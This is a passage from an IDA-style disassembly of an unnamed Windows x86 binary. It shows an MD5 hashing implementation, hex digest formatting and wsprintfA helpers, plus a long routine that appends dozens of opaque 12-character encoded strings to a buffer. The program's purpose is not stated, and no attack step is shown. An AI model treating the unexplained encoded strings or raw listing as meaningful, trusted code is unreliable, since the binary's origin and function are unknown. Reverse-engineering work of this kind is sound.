esi, byte ptr [eax+20h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+25h] mov [ebp+var_20], edx xor edx, edx mov dh, [eax+27h] mov dl, [eax+26h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+24h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+29h] mov [ebp+var_1C], edx xor edx, edx mov dh, [eax+2Bh] mov dl, [eax+2Ah] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+28h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+2Dh] mov [ebp+var_18], edx xor edx, edx mov dh, [eax+2Fh] mov dl, [eax+2Eh] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+2Ch] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+31h] mov [ebp+var_14], edx xor edx, edx mov dh, [eax+33h] mov dl, [eax+32h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+30h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+35h] mov [ebp+var_10], edx xor edx, edx mov dh, [eax+37h] mov dl, [eax+36h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+34h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+39h] mov [ebp+var_C], edx xor edx, edx mov dh, [eax+3Bh] mov dl, [eax+3Ah] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+38h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+3Dh] mov [ebp+var_8], edx xor edx, edx mov dh, [eax+3Fh] mov dl, [eax+3Eh] movzx eax, byte ptr [eax+3Ch] shl edx, 8 or edx, esi shl edx, 8 mov esi, [ecx+14h] mov edi, [ecx+10h] mov ebx, [ecx+0Ch] or edx, eax mov eax, [ecx+8] mov [ebp+var_4], edx mov edx, esi xor edx, edi and edx, ebx xor edx, esi add edx, eax mov eax, [ebp+var_40] lea edx, [edx+eax-28955B88h] mov eax, edx shr eax, 19h shl edx, 7 or eax, edx mov edx, edi add eax, ebx xor edx, ebx and edx, eax xor edx, edi add edx, [ebp+var_3C] lea esi, [esi+edx-173848AAh] mov edx, esi shr edx, 14h shl esi, 0Ch or edx, esi mov esi, ebx add edx, eax xor esi, eax and esi, edx xor esi, ebx mov ebx, edx add esi, [ebp+var_38] xor ebx, eax lea edi, [edi+esi+242070DBh] mov esi, edi shr esi, 0Fh shl edi, 11h or esi, edi mov edi, [ecx+0Ch] add esi, edx and ebx, esi xor ebx, eax add ebx, [ebp+var_34] lea edi, [edi+ebx-3E423112h] mov ebx, edi shl ebx, 16h shr edi, 0Ah or ebx, edi mov edi, edx add ebx, esi xor edi, esi and edi, ebx mov [ebp+arg_0], ebx xor edi, edx add edi, [ebp+var_30] lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax mov eax, esi add edi, ebx xor eax, ebx and eax, edi xor eax, esi add eax, [ebp+var_2C] lea edx, [edx+eax+4787C62Ah] mov eax, edx shr eax, 14h shl edx, 0Ch or eax, edx mov edx, ebx add eax, edi xor edx, edi and edx, eax xor edx, ebx add edx, [ebp+var_28] lea esi, [esi+edx-57CFB9EDh] mov edx, esi shr edx, 0Fh shl esi, 11h or edx, esi mov esi, eax add edx, eax xor esi, edi and esi, edx xor esi, edi add esi, [ebp+var_24] lea esi, [ebx+esi-2B96AFFh] mov ebx, esi shl ebx, 16h shr esi, 0Ah or ebx, esi mov esi, eax xor esi, edx add ebx, edx and esi, ebx mov [ebp+arg_0], ebx xor esi, eax add esi, [ebp+var_20] lea edi, [edi+esi+698098D8h] mov esi, edi shr esi, 19h shl edi, 7 or esi, edi mov edi, edx add esi, ebx xor edi, ebx and edi, esi xor edi, edx add edi, [ebp+var_1C] lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax mov eax, ebx add edi, esi xor eax, esi and eax, edi xor eax, ebx add eax, [ebp+var_18] lea edx, [edx+eax-0A44Fh] mov eax, edx shr eax, 0Fh shl edx, 11h or eax, edx mov edx, edi add eax, edi xor edx, esi and edx, eax xor edx, esi add edx, [ebp+var_14] lea edx, [ebx+edx-76A32842h] mov ebx, edx shl ebx, 16h shr edx, 0Ah or ebx, edx mov edx, edi add ebx, eax xor edx, eax and edx, ebx mov [ebp+arg_0], ebx xor edx, edi add edx, [ebp+var_10] lea esi, [esi+edx+6B901122h] mov edx, esi shr edx, 19h shl esi, 7 or edx, esi mov esi, eax add edx, ebx xor esi, ebx and esi, edx xor esi, eax add esi, [ebp+var_C] lea edi, [edi+esi-2678E6Dh] mov ebx, edi shr ebx, 14h shl edi, 0Ch or ebx, edi mov edi, [ebp+arg_0] mov esi, edi add ebx, edx xor esi, edx and esi, ebx xor esi, edi add esi, [ebp+var_8] lea eax, [eax+esi-5986BC72h] mov esi, eax shr esi, 0Fh shl eax, 11h or esi, eax mov eax, ebx add esi, ebx xor eax, edx and eax, esi xor eax, edx add eax, [ebp+var_4] lea edi, [edi+eax+49B40821h] mov eax, edi shl eax, 16h shr edi, 0Ah or eax, edi mov edi, esi add eax, esi xor edi, eax and edi, ebx xor edi, esi add edi, [ebp+var_3C] lea edx, [edx+edi-9E1DA9Eh] mov edi, edx shr edi, 1Bh shl edx, 5 or edi, edx mov edx, eax add edi, eax xor edx, edi and edx, esi xor edx, eax add edx, [ebp+var_28] lea ebx, [ebx+edx-3FBF4CC0h] mov edx, ebx shr edx, 17h shl ebx, 9 or edx, ebx add edx, edi mov ebx, edx xor ebx, edi and ebx, eax xor ebx, edi add ebx, [ebp+var_14] lea esi, [esi+ebx+265E5A51h] mov ebx, esi shr ebx, 12h shl esi, 0Eh or ebx, esi mov esi, edx add ebx, edx xor esi, ebx and esi, edi xor esi, edx add esi, [ebp+var_40] lea eax, [eax+esi-16493856h] mov esi, eax shl esi, 14h shr eax, 0Ch or esi, eax mov eax, ebx add esi, ebx xor eax, esi and eax, edx xor eax, ebx add eax, [ebp+var_2C] lea edi, [edi+eax-29D0EFA3h] mov eax, edi shr eax, 1Bh shl edi, 5 or eax, edi add eax, esi mov edi, esi xor edi, eax and edi, ebx xor edi, esi add edi, [ebp+var_18] lea edx, [edx+edi+2441453h] mov edi, edx shr edi, 17h shl edx, 9 or edi, edx add edi, eax mov edx, edi xor edx, eax and edx, esi xor edx, eax add edx, [ebp+var_4] lea ebx, [ebx+edx-275E197Fh] mov edx, ebx shr edx, 12h shl ebx, 0Eh or edx, ebx mov ebx, edi add edx, edi xor ebx, edx and ebx, eax xor ebx, edi add ebx, [ebp+var_30] lea esi, [esi+ebx-182C0438h] mov ebx, esi shl ebx, 14h shr esi, 0Ch or ebx, esi mov esi, edx add ebx, edx xor esi, ebx and esi, edi xor esi, edx add esi, [ebp+var_1C] lea eax, [eax+esi+21E1CDE6h] mov esi, eax shr esi, 1Bh shl eax, 5 or esi, eax mov eax, ebx add esi, ebx xor eax, esi and eax, edx xor eax, ebx add eax, [ebp+var_8] lea edi, [edi+eax-3CC8F82Ah] mov eax, edi shr eax, 17h shl edi, 9 or eax, edi add eax, esi mov edi, eax xor edi, esi and edi, ebx xor edi, esi add edi, [ebp+var_34] lea edx, [edx+edi-0B2AF279h] mov edi, edx shr edi, 12h shl edx, 0Eh or edi, edx mov edx, eax add edi, eax xor edx, edi and edx, esi xor edx, eax add edx, [ebp+var_20] lea ebx, [ebx+edx+455A14EDh] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, edi add edx, edi xor ebx, edx and ebx, eax xor ebx, edi add ebx, [ebp+var_C] lea esi, [esi+ebx-561C16FBh] mov ebx, esi shr ebx, 1Bh shl esi, 5 or ebx, esi mov esi, edx add ebx, edx xor esi, ebx and esi, edi xor esi, edx add esi, [ebp+var_38] lea eax, [eax+esi-3105C08h] mov esi, eax shr esi, 17h shl eax, 9 or esi, eax add esi, ebx mov eax, esi mov [ebp+arg_0], esi xor eax, ebx and eax, edx xor eax, ebx add eax, [ebp+var_24] lea eax, [edi+eax+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax add edi, esi xor [ebp+arg_0], edi mov eax, [ebp+arg_0] and eax, ebx xor eax, esi add eax, [ebp+var_10] lea edx, [edx+eax-72D5B376h] mov eax, edx shl eax, 14h shr edx, 0Ch or eax, edx mov edx, [ebp+arg_0] add eax, edi xor edx, eax add edx, [ebp+var_2C] lea ebx, [ebx+edx-5C6BEh] mov edx, ebx shr edx, 1Ch shl ebx, 4 or edx, ebx mov ebx, edi add edx, eax xor ebx, eax xor ebx, edx add ebx, [ebp+var_20] lea esi, [esi+ebx-788E097Fh] mov ebx, esi shr ebx, 15h shl esi, 0Bh or ebx, esi add ebx, edx mov esi, ebx mov [ebp+arg_0], ebx xor esi, eax xor esi, edx add esi, [ebp+var_14] lea edi, [edi+esi+6D9D6122h] mov esi, edi shr esi, 10h shl edi, 10h or esi, edi add esi, ebx xor [ebp+arg_0], esi mov edi, [ebp+arg_0] xor edi, edx add edi, [ebp+var_8] lea edi, [eax+edi-21AC7F4h] mov eax, edi shl eax, 17h shr edi, 9 or eax, edi add eax, esi mov edi, [ebp+arg_0] xor edi, eax add edi, [ebp+var_3C] lea edi, [edx+edi-5B4115BCh] mov edx, edi shr edx, 1Ch shl edi, 4 or edx, edi mov edi, esi add edx, eax xor edi, eax xor edi, edx add edi, [ebp+var_30] lea ebx, [ebx+edi+4BDECFA9h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, edx mov ebx, edi mov [ebp+arg_0], edi xor ebx, eax xor ebx, edx add ebx, [ebp+var_24] lea esi, [esi+ebx-944B4A0h] mov ebx, esi shr ebx, 10h shl esi, 10h or ebx, esi add ebx, edi xor [ebp+arg_0], ebx mov esi, [ebp+arg_0] xor esi, edx add esi, [ebp+var_18] lea esi, [eax+esi-41404390h] mov eax, esi shl eax, 17h shr esi, 9 or eax, esi mov esi, [ebp+arg_0] add eax, ebx xor esi, eax add esi, [ebp+var_C] lea esi, [edx+esi+289B7EC6h] mov edx, esi shr edx, 1Ch shl esi, 4 or edx, esi mov esi, ebx add edx, eax xor esi, eax xor esi, edx add esi, [ebp+var_40] lea edi, [edi+esi-155ED806h] mov esi, edi shr esi, 15h shl edi, 0Bh or esi, edi add esi, edx mov edi, esi mov [ebp+arg_0], esi xor edi, eax xor edi, edx add edi, [ebp+var_34] lea ebx, [ebx+edi-2B10CF7Bh] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx add edi, esi xor [ebp+arg_0], edi mov ebx, [ebp+arg_0] xor ebx, edx add ebx, [ebp+var_28] lea ebx, [eax+ebx+4881D05h] mov eax, ebx shl eax, 17h shr ebx, 9 or eax, ebx mov ebx, [ebp+arg_0] add eax, edi xor ebx, eax add ebx, [ebp+var_1C] lea ebx, [edx+ebx-262B2FC7h] mov edx, ebx shr edx, 1Ch shl ebx, 4 or edx, ebx mov ebx, edi xor ebx, eax add edx, eax xor ebx, edx add ebx, [ebp+var_10] lea ebx, [esi+ebx-1924661Bh] mov esi, ebx shr esi, 15h shl ebx, 0Bh or esi, ebx add esi, edx mov ebx, esi xor ebx, eax xor ebx, edx add ebx, [ebp+var_4] lea ebx, [edi+ebx+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, esi add edi, esi xor ebx, edi xor ebx, edx add ebx, [ebp+var_38] lea eax, [eax+ebx-3B53A99Bh] mov ebx, eax shl ebx, 17h shr eax, 9 or ebx, eax mov eax, esi add ebx, edi not eax or eax, ebx xor eax, edi add eax, [ebp+var_40] lea edx, [edx+eax-0BD6DDBCh] mov eax, edx shr eax, 1Ah shl edx, 6 or eax, edx mov edx, edi add eax, ebx not edx or edx, eax xor edx, ebx add edx, [ebp+var_24] lea esi, [esi+edx+432AFF97h] mov edx, esi shr edx, 16h shl esi, 0Ah or edx, esi mov esi, ebx add edx, eax not esi or esi, edx xor esi, eax add esi, [ebp+var_8] lea edi, [edi+esi-546BDC59h] mov esi, edi shr esi, 11h shl edi, 0Fh or esi, edi mov edi, eax add esi, edx not edi or edi, esi xor edi, edx add edi, [ebp+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_10] lea ebx, [eax+ebx+655B59C3h] mov eax, ebx shl ebx, 6 shr eax, 1Ah or eax, ebx mov ebx, esi not ebx add eax, edi or ebx, eax xor ebx, edi add ebx, [ebp+var_34] lea ebx, [edx+ebx-70F3336Eh] mov edx, ebx shl ebx, 0Ah shr edx, 16h or edx, ebx mov ebx, edi not ebx add edx, eax or ebx, edx xor ebx, eax add ebx, [ebp+var_18] lea ebx, [esi+ebx-100B83h] mov esi, ebx shl ebx, 0Fh shr esi, 11h or esi, ebx mov ebx, eax add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_3C] lea ebx, [edi+ebx-7A7BA22Fh] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_20] lea ebx, [eax+ebx+6FA87E4Fh] mov eax, ebx shr eax, 1Ah shl ebx, 6 or eax, ebx mov ebx, esi add eax, edi not ebx or ebx, eax xor ebx, edi add ebx, [ebp+var_4] lea ebx, [edx+ebx-1D31920h] mov edx, ebx shr edx, 16h shl ebx, 0Ah or edx, ebx mov ebx, edi add edx, eax not ebx or ebx, edx xor ebx, eax add ebx, [ebp+var_28] lea ebx, [esi+ebx-5CFEBCECh] mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, eax add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_C] lea ebx, [edi+ebx+4E0811A1h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_30] lea ebx, [eax+ebx-8AC817Eh] mov eax, ebx shr eax, 1Ah shl ebx, 6 or eax, ebx mov ebx, esi add eax, edi not ebx or ebx, eax xor ebx, edi add ebx, [ebp+var_14] lea edx, [edx+ebx-42C50DCBh] mov ebx, edx shr ebx, 16h shl edx, 0Ah or ebx, edx mov edx, edi add ebx, eax not edx or edx, ebx xor edx, eax add edx, [ebp+var_38] lea esi, [esi+edx+2AD7D2BBh] mov edx, esi shr edx, 11h shl esi, 0Fh or edx, esi mov esi, eax add edx, ebx not esi or esi, edx xor esi, ebx add esi, [ebp+var_1C] lea edi, [edi+esi-14792C6Fh] mov esi, [ecx+8] add esi, eax mov eax, edi shl eax, 15h shr edi, 0Bh or eax, edi mov [ecx+8], esi add eax, [ecx+0Ch] pop edi pop esi add eax, edx mov [ecx+0Ch], eax mov eax, [ecx+10h] add eax, edx mov [ecx+10h], eax mov eax, [ecx+14h] add eax, ebx pop ebx loc_415353: ; DATA XREF: .text:off_43D40Co mov [ecx+14h], eax leave retn 4 sub_4149CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41535A proc near ; CODE XREF: sub_4153ED+66p ; sub_4153ED+73p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx mov ecx, [ebp+arg_4] push edi test ecx, ecx jz short loc_4153E7 mov eax, [esi] push ebx mov edi, eax push 40h and edi, 3Fh pop ebx add eax, ecx sub ebx, edi cmp eax, ecx mov [esi], eax jnb short loc_415380 inc dword ptr [esi+4] loc_415380: ; CODE XREF: sub_41535A+21j test edi, edi jz short loc_4153AF cmp ecx, ebx jb short loc_4153AF push ebx lea eax, [edi+esi+18h] push [ebp+arg_0] push eax call sub_429420 add esp, 0Ch lea eax, [esi+18h] mov ecx, esi push eax call sub_4149CD sub [ebp+arg_4], ebx add [ebp+arg_0], ebx mov ecx, [ebp+arg_4] xor edi, edi loc_4153AF: ; CODE XREF: sub_41535A+28j ; sub_41535A+2Cj cmp ecx, 40h jb short loc_4153D1 mov ebx, ecx shr ebx, 6 loc_4153B9: ; CODE XREF: sub_41535A+72j push [ebp+arg_0] mov ecx, esi call sub_4149CD sub [ebp+arg_4], 40h add [ebp+arg_0], 40h dec ebx jnz short loc_4153B9 mov ecx, [ebp+arg_4] loc_4153D1: ; CODE XREF: sub_41535A+58j test ecx, ecx pop ebx jz short loc_4153E7 push ecx lea eax, [edi+esi+18h] push [ebp+arg_0] push eax call sub_429420 add esp, 0Ch loc_4153E7: ; CODE XREF: sub_41535A+Cj ; sub_41535A+7Aj pop edi pop esi pop ebp retn 8 sub_41535A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153ED proc near ; CODE XREF: sub_4154D9+24p var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi push 38h mov edi, [esi] mov eax, [esi+4] mov ecx, edi shl eax, 3 shr ecx, 1Dh or eax, ecx mov ecx, edi shl ecx, 3 mov edx, ecx mov [ebp+var_8], cl shr edx, 8 mov [ebp+var_7], dl mov edx, ecx shr ecx, 18h mov [ebp+var_5], cl mov ecx, eax shr ecx, 8 mov [ebp+var_3], cl mov [ebp+var_4], al mov ecx, eax and edi, 3Fh shr eax, 18h mov [ebp+var_1], al pop eax shr edx, 10h shr ecx, 10h cmp edi, eax mov [ebp+var_6], dl mov [ebp+var_2], cl jb short loc_415449 push 78h pop eax loc_415449: ; CODE XREF: sub_4153ED+57j sub eax, edi mov ecx, esi push eax push offset dword_442B68 call sub_41535A lea eax, [ebp+var_8] push 8 push eax mov ecx, esi call sub_41535A mov eax, [ebp+arg_0] mov cl, [esi+8] pop edi mov [eax], cl mov ecx, [esi+8] shr ecx, 8 mov [eax+1], cl mov cl, [esi+0Ah] mov [eax+2], cl mov cl, [esi+0Bh] mov [eax+3], cl mov cl, [esi+0Ch] mov [eax+4], cl mov ecx, [esi+0Ch] shr ecx, 8 mov [eax+5], cl mov cl, [esi+0Eh] mov [eax+6], cl mov cl, [esi+0Fh] mov [eax+7], cl mov cl, [esi+10h] mov [eax+8], cl mov ecx, [esi+10h] shr ecx, 8 mov [eax+9], cl mov cl, [esi+12h] mov [eax+0Ah], cl mov cl, [esi+13h] mov [eax+0Bh], cl mov cl, [esi+14h] mov [eax+0Ch], cl mov ecx, [esi+14h] shr ecx, 8 mov [eax+0Dh], cl mov cl, [esi+16h] mov [eax+0Eh], cl mov cl, [esi+17h] mov [eax+0Fh], cl pop esi leave retn 4 sub_4153ED endp ; =============== S U B R O U T I N E ======================================= sub_4154D9 proc near ; CODE XREF: sub_4155AA+3Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_4149A9 push [esp+4+arg_0] call sub_4293A0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_41535A push [esp+4+arg_4] mov ecx, esi call sub_4153ED pop esi retn 8 sub_4154D9 endp ; =============== S U B R O U T I N E ======================================= sub_415506 proc near ; CODE XREF: sub_4155AA+46p arg_0 = dword ptr 4 push esi push 1 push 28h call sub_42B39A mov esi, eax mov eax, [esp+0Ch+arg_0] movzx ecx, byte ptr [eax+10h] push ecx movzx ecx, byte ptr [eax+0Fh] push ecx movzx ecx, byte ptr [eax+0Eh] push ecx movzx ecx, byte ptr [eax+0Dh] push ecx movzx ecx, byte ptr [eax+0Ch] push ecx movzx ecx, byte ptr [eax+0Bh] push ecx movzx ecx, byte ptr [eax+0Ah] push ecx movzx ecx, byte ptr [eax+9] push ecx movzx ecx, byte ptr [eax+8] push ecx movzx ecx, byte ptr [eax+7] push ecx movzx ecx, byte ptr [eax+6] push ecx movzx ecx, byte ptr [eax+5] push ecx movzx ecx, byte ptr [eax+4] push ecx movzx ecx, byte ptr [eax+3] push ecx movzx ecx, byte ptr [eax+2] push ecx movzx ecx, byte ptr [eax+1] movzx eax, byte ptr [eax] push ecx push eax push offset a02x02x02x02x02 ; "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02"... push esi call sub_429B03 add esp, 54h mov eax, esi pop esi retn 4 sub_415506 endp ; =============== S U B R O U T I N E ======================================= sub_41557E proc near ; CODE XREF: sub_41499D+3p push esi mov esi, ecx push 40h push 0 lea eax, [esi+18h] push eax call sub_429760 push 10h lea eax, [esi+8] push 0 push eax call sub_429760 push 8 push 0 push esi call sub_429760 add esp, 24h pop esi retn sub_41557E endp ; =============== S U B R O U T I N E ======================================= sub_4155AA proc near ; CODE XREF: sub_40A9FE+A41p ; sub_42045F+222p mov eax, offset loc_436312 call sub_42B7CC push ecx push esi push edi push 58h call sub_42B4D7 pop ecx mov ecx, eax mov [ebp-10h], ecx xor esi, esi cmp ecx, esi mov [ebp-4], esi jz short loc_4155D4 call sub_41499D mov esi, eax loc_4155D4: ; CODE XREF: sub_4155AA+21j or dword ptr [ebp-4], 0FFFFFFFFh push 11h call sub_42B4D7 pop ecx mov edi, eax push edi mov ecx, esi push dword ptr [ebp+8] call sub_4154D9 push edi mov ecx, esi call sub_415506 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx leave retn sub_4155AA endp ; =============== S U B R O U T I N E ======================================= sub_415603 proc near ; CODE XREF: sub_41CDD4+40p ; sub_41CE4A+40p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_41563F mov esi, [esp+4+arg_4] test esi, esi jz short loc_41563F cmp byte ptr [eax], 0 jz short loc_41563F cmp byte ptr [esi], 0 jz short loc_41563F push edi push esi push eax call sub_4170D6 mov edi, eax push edi push offset aS_3 ; "+%s" push esi call dword_437278 ; wsprintfA push edi call sub_4290D0 add esp, 18h pop edi loc_41563F: ; CODE XREF: sub_415603+7j ; sub_415603+Fj ... pop esi retn sub_415603 endp ; =============== S U B R O U T I N E ======================================= sub_415641 proc near ; CODE XREF: sub_41567F+Cp ; sub_41567F+17p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_41567D mov esi, [esp+4+arg_4] test esi, esi jz short loc_41567D cmp byte ptr [eax], 0 jz short loc_41567D cmp byte ptr [esi], 0 jz short loc_41567D push edi push esi push eax call sub_417212 mov edi, eax push edi push offset aS_5 ; "%s" push esi call dword_437278 ; wsprintfA push edi call sub_4290D0 add esp, 18h pop edi loc_41567D: ; CODE XREF: sub_415641+7j ; sub_415641+Fj ... pop esi retn sub_415641 endp ; =============== S U B R O U T I N E ======================================= sub_41567F proc near ; CODE XREF: sub_418E0F+7Dp push esi mov esi, offset dword_443EB0 push offset dword_445B40 push esi call sub_415641 push offset dword_445B50 push esi call sub_415641 push offset dword_445B60 push esi call sub_415641 push offset a7lybp1gunfm0 ; "7LybP1GuNfm0" push esi call sub_415641 push offset a391myLxl28_ ; "391mY/LxL28." push esi call sub_415641 push offset a5h5br_qpSm1 ; "5H5BR.qp/sm1" push esi call sub_415641 push offset aYjmlc1btsf10_0 ; "yJmlc1btsF10" push esi call sub_415641 push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0" push esi call sub_415641 add esp, 40h push offset aG7IvGks9l1_0 ; "g7/IV/gks9L1" push esi call sub_415641 push offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0" push esi call sub_415641 push offset aBwIj0rhpgj1 ; "bw/Ij0rhPgj1" push esi call sub_415641 push offset aFuv1h_fi8sc ; "FuV1H.fi8SC/" push esi call sub_415641 push offset aLcxMHdpwr1 ; "lCX/m/HdpWr1" push esi call sub_415641 push offset aVozbg0sssom1 ; "vozbG0sSsoM1" push esi call sub_415641 push offset aKc4l5_savs3_ ; "KC4L5.sAVS3." push esi call sub_415641 push offset aWk12f0zbpla ; "wK12F0ZBpla/" push esi call sub_415641 add esp, 40h push offset aSpxmrGVbi0 ; "spxMr/G/vBI0" push esi call sub_415641 push offset a2nru_kpknx ; "/2nRu.KpKNx/" push esi call sub_415641 push offset a7lybp1gunfm0_0 ; "7LybP1GuNfm0" push esi call sub_415641 push offset a391myLxl28__0 ; "391mY/LxL28." push esi call sub_415641 push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1" push esi call sub_415641 push offset aYjmlc1btsf10 ; "yJmlc1btsF10" push esi call sub_415641 push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push esi call sub_415641 push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push esi call sub_415641 add esp, 40h push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0" push esi call sub_415641 push offset aBwIj0rhpgj1_0 ; "bw/Ij0rhPgj1" push esi call sub_415641 push offset aFuv1h_fi8sc_0 ; "FuV1H.fi8SC/" push esi call sub_415641 push offset aLcxMHdpwr1_0 ; "lCX/m/HdpWr1" push esi call sub_415641 push offset aVozbg0sssom1_0 ; "vozbG0sSsoM1" push esi call sub_415641 push offset aKc4l5_savs3__0 ; "KC4L5.sAVS3." push esi call sub_415641 push offset aDJstMfgyq_ ; "d/Jst/MFgyQ." push esi call sub_415641 push offset aErwc30qfw_p0 ; "eRWc30Qfw.P0" push esi call sub_415641 add esp, 40h push offset a86tb1fspjg0 ; "86tb/1FSpjg0" push esi call sub_415641 push offset aPlsymAee6v1 ; "PlsYM/aEe6v1" push esi call sub_415641 push offset aDehziSaO0 ; "deHZI/SA//o0" push esi call sub_415641 push offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue." push esi call sub_415641 push offset aNfknl0nqigy0 ; "NFKNL0nQigY0" push esi call sub_415641 push offset aE0idd0rdw2u ; "e0idD0RDw2U/" push esi call sub_415641 push offset aEuior0ay2w7__0 ; "EUIOR0ay2w7." push esi call sub_415641 push offset aPdazx1odsoh0 ; "PDazX1oDSOh0" push esi call sub_415641 add esp, 40h push offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1" push esi call sub_415641 push offset aDj9owUmrbd_ ; "dJ9OW/uMRBD." push esi call sub_415641 push offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1" push esi call sub_415641 push offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl." push esi call sub_415641 push offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0" push esi call sub_415641 push offset aWpuwr_6yfru ; "WpuWr.6YFRU/" push esi call sub_415641 push offset a4rmbzFcic21 ; "4RmBz/FCic21" push esi call sub_415641 push offset aSc_coSwlk_ ; "SC.Co/swLK/." push esi call sub_415641 add esp, 40h push offset aLees11vpbnf0 ; "LeEs11vPbnf0" push esi call sub_415641 push offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb." push esi call sub_415641 push offset aA52n11svyfw0 ; "A52N11SVYFw0" push esi call sub_415641 push offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0" push esi call sub_415641 push offset aR7wrsQhek_0 ; "r7WRs/qHek.0" push esi call sub_415641 push offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0" push esi call sub_415641 push offset aDqjso_47pdb ; "dQJSO.47pdb/" push esi call sub_415641 push offset aK9vUKkutm ; "K9V/U/KkuTM/" push esi call sub_415641 add esp, 40h push offset a7yfnz0pw11s1 ; "7yfnz0PW11s1" push esi call sub_415641 push offset aNq_as1z1sit ; "nQ.As1Z1SIt/" push esi call sub_415641 push offset aUn3hk0sn58o_0 ; "uN3hk0sn58o/" push esi call sub_415641 push offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1" push esi call sub_415641 push offset aIegud0v_5_ ; "iEguD0V/.5/." push esi call sub_415641 push offset aFc9kk1jx11g_ ; "fc9Kk1jX11G." push esi call sub_415641 push offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/" push esi call sub_415641 push offset aEwqxaOc1t_ ; "EWqxA//oC1T." push esi call sub_415641 add esp, 40h push offset aJiatz0xsump1 ; "JIAtz0xSuMp1" push esi call sub_415641 push offset aVi0qa1mvfro1 ; "VI0QA1mvfro1" push esi call sub_415641 push offset aW3gp6_13acy1 ; "W3GP6.13AcY1" push esi call sub_415641 push offset aE8qiq0hukv9 ; "e8qiq0Hukv9/" push esi call sub_415641 push offset a18rjk_sa2je ; "18Rjk.sa2JE/" push esi call sub_415641 push offset aLjAmKzrtp1 ; "lJ/am/kZRtP1" push esi call sub_415641 push offset aXzaru0amxhi_ ; "XZArU0aMxhi." push esi call sub_415641 push offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0" push esi call sub_415641 add esp, 40h push offset aRp4sr11cvr1 ; "Rp4sR11CvR1/" push esi call sub_415641 push offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ." push esi call sub_415641 push offset a1shta0bzfwk1 ; "1ShtA0bzFwk1" push esi call sub_415641 push offset aAzcsp_hkilo_ ; "AZcsP.hkiLO." push esi call sub_415641 push offset aFepmfZswfd ; "FEpMF/ZswFD/" push esi call sub_415641 push offset aSud8hRsu8j1 ; "sUd8h/rsu8j1" push esi call sub_415641 push offset aJ2yyw_j09xc ; "j2yYw.J09XC/" push esi call sub_415641 push offset a43ucs0rkqux_ ; "43uCS0rkQUx." push esi call sub_415641 add esp, 40h push offset aJc8j0_blhir0 ; "jC8j0.blHIr0" push esi call sub_415641 push offset aPiygc_bgpyh_ ; "PIYGC.BgPyH." push esi call sub_415641 push offset a7bqzu_aqz2u_ ; "7bQzU.aQz2u." push esi call sub_415641 push offset aSar5v0jloic0 ; "saR5v0JloIc0" push esi call sub_415641 push offset aX43mxEgedu_ ; "x43Mx/eGeDu." push esi call sub_415641 push offset aIsopf_pu4ty0 ; "IsoPF.PU4tY0" push esi call sub_415641 push offset a98mu_Nedn7_ ; "98mu./nEdn7." push esi call 